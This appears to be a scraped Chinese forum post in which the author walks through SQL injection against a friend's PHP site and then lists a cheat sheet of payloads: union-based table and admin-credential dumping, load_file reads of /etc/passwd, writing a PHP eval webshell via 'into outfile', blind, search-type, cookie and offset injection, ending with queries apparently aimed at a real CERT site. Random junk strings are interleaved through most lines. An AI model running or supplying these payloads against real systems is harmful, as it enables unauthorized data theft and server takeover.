我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~. C& X8 u$ S: t8 ^
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?' e0 u3 A8 G4 m8 M3 O
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
/ _; { N; a" i1 o$ N2 Q2 S如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)6 M1 D6 T: J& e( r4 c" o2 B
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
) i/ ]! Z; K$ h4 N4 \* I1 _这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:9 ?! O6 c5 N4 Y6 W; ^: f0 F
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
( D5 \, N, p& o! Z6 a3 k/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
& d q; g1 F2 ^
# E+ d& c6 I/ [7 l1 B( y2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
9 F% u2 b' Q* a6 b3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意! E& Q- G9 }7 k9 a& G
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
9 d# M* K. i, t. ]% e5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。4 ~$ g* d7 @! y. V; p z
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
3 j* T, P& m( U2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
" k. Q4 N& Z6 _2 o4 U我就用的是第二个思路,; s3 |! o# p* q+ d' v+ U
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
8 x0 u% d4 `2 D. o# S* l$ s6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,# A* p! }& Q0 G& y: p
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--# w/ ]! U; B8 L# g& A) ?# n6 [
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
n( a/ Z$ x1 r S: j% }7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????7 J3 H8 U5 t* _
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....' V* U; W/ d9 C) W) p0 b" {% m
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --- W2 M& p/ ]% _
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,+ N c9 J) P' w# Q( }) S
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......: F/ B+ b" z. c* F0 }1 b
下面是一些很普遍注入方式资料:" P# U+ E+ _* ?
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
( ]+ T3 n' O' l) B3 A- O拆半法& `: f( M) t9 d) m$ p
######################################
/ Y2 a& ^5 x5 u! M4 @8 xand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
0 F$ O9 \- Z( l0 V* O9 J. eand exists (select * from admin); s" F1 E7 d5 @3 \7 b
and exists(select id from admin)/ g3 x3 h7 k9 V% y# y, ~3 d
and exists(select id from admin where id=1)
# q a( N3 ^( s. J; x ~and exists(select id from admin where id>1) + `% f& y' `- X7 {' j( h0 }
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
) D' C7 A: `0 v: E* X" \# Fand exists (select username from admin)% ?6 F# v. q( q8 N; ]/ s- |3 t
and exists (select password from admin)
' A5 e" R* w0 _& h8 S0 Q: Cand exists (select id from admin where len(username)<10 and id=1)
! g5 a7 U, G9 O% X1 }% @( k! Eand exists (select id from admin where len(username)>5 and id=1)) G5 L6 _6 o8 m' H% r# F7 J
and exists (select id from admin where len(username)=6 and id=1)& m/ n8 w1 A9 B9 I3 v# [3 o
and exists (select id from admin where len(password)<10 and id=1)# H2 z& B9 C( U4 X3 C: W; _ ], d
and exists (select id from admin where len(password)>5 and id=1)
2 h- s' G( f3 Eand exists (select id from admin where len(password)=7 and id=1)
3 I* N% m1 @6 n; qand (select top 1 asc(mid(username,1,1)) from admin)=979 O! N* v' m. I+ E& B5 y
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
4 u2 b0 h0 X2 n3 M1 {猜第二位把username,1,1改成username,2,1就可以了。
. J5 i6 J) T/ |* [猜密码把username改成password就OK了
$ h# `1 b. ^: e& V2 r##################################################' g( O+ f" ^3 n% K# O
搜索型注入! s" l- j: f6 v& Z8 w
##################################. G2 L5 d: l: z. v! S
%' and 1=1 and '%'='
! z, b! `8 k( Q' A `%' and exists (select * from admin) and '%'='0 M( Z! ^6 O1 O$ q6 `
%' and exists(select id from admin where id=1) and '%'='
& g8 J }9 F) _5 H' z, u# ?, f9 `' h%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
+ g3 C6 A/ R3 K. Q0 }; w4 y9 N%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
, \* _& C/ J& z# b0 u3 R%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
$ k- P# e- k8 |* c% r2 a4 M6 [这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='7 p" L3 W7 q' R( u9 \# A0 l
对于MSSQL数据库,后面可以吧 and '%'='换成--! q5 j/ V/ p5 ]6 w% T# _* ^
还有一点搜索型注入也可以使用union语句。; J+ F. D+ Y( E/ J! ~3 {
########################################################1 d$ w& \" z) Y$ y# @0 B0 T
联合查询。% L+ E( i' N1 ?7 p6 d
#####################################% O! K, T; L2 Z% [3 i; b
order by 10
5 j( q0 z W4 D1 |and 1=2 union select 1,2,3,4,5,6,7,8,9,109 { {5 Y1 e0 n2 ~: R/ \
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
" A4 W3 @% m+ _. Vand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
/ d& w0 {% w7 I& x很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)+ {3 \( [+ K& o p1 Z1 @
###################################9 E h. E9 u+ t7 X- T$ o
cookie注入
{4 {0 {( H) Z7 c; f& ?- q###############################( B% B% ]6 \5 [1 x. r
http://www.******.com/shownews.asp?id=127& D3 I3 Z2 v4 o0 L) T7 |" p$ }0 }
http://www.******.com/shownews.asp
3 i- _- V H, W* `alert(="id="+escape("127"));
9 H3 t( J1 t" y5 u' {- Q3 Palert(="id="+escape("127 and 1=1"));* f/ Z) B2 \/ H- L; m6 o* X0 K! {7 K
alert(="id="+escape("127 order by 10"));
" ?+ u: l9 s' L, }) Ealert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));% W4 D) k% I8 ]. a! t& Q2 Z1 U Y/ q
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));! p" @3 `& F* V
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
% }& r6 M3 W3 z- G; Z6 S) o###################################' S! K9 n! G( `' Q& h: S/ A
偏移注入( I- J" R+ }" l0 Q$ e
###########################################################- b, A5 I; i7 A+ `( @
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
+ v& @! d6 m) r) ~0 Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
) M2 z. T! P" wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
8 f5 @& u- o( r" T: gunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)! f! _- J! F3 Z6 l$ T: _7 t
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
2 V) q e& Q. B+ L. q5 F4 bunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
7 E8 L& h2 x' I1 gunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on0 m% \$ i D, r. j. p4 p5 R# L* q
a.id=d.id)
p$ v8 C- J' O9 L7 l' a$ I# h' |' e) hand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
3 O: j! [5 ]1 w+ l( oand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
! ]+ Q3 u" U! a5 W
; I5 P; {! y4 a$ u7 j============================================================================================================( F' D4 C1 X# |) z0 Q
1.判断版本; P! J8 ~. N4 C
and ord(mid(version(),1,1))>51; p( F( M. W% \! @6 y$ u2 @6 f! G
返回正常,说明大于4.0版本,支持ounion查询
+ ^* N' D* F1 |4 k2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
7 Q! @$ D6 x5 Q) _% H9 e4 x) jand 2=4 union select 1,2,3,4,5,6,7,8,9--
/ r" P+ K* u. c+ c3.查看数据库版本及当前用户,
9 j. F: N; _; L: a! V! yand 2=4 union select 1,user(),version(),4,5,6,7,8,9--7 `7 g: ~! Y! T B! b1 s% ^
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
6 e# X; Y& `& g- G4.判断有没有写权限& \9 @* d6 ]# I: H2 `3 y
and (select count(*) from MySQL.user)>0--
0 r F& i) ^! |5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,17 v- B" q( K5 _/ @3 s
用不了这个命令,就学习土耳其黑客手法,如下; N1 s. }( a+ K
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
2 s% W% e* [9 H. R; x3 u! t% H6.爆表,爆库
$ I. Q' A7 D9 o8 X" `6 k4 T# cand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- X7 g# i- g1 N6 G
7.爆列名,爆表
0 k j$ S9 |6 [ O; R! V, Z! Qand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
1 w; [ x w$ c; n8.查询字段数,直接用limit N,1去查询,直接N到报错为止。' F: E$ c7 |! E
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
7 P% U! j }: T( s/ ]- J( i3 |. u M9.爆字段内容
* K q0 o% N. Y6 w0 band+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--9 f. G* V8 o7 p. L7 D1 A( c k
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |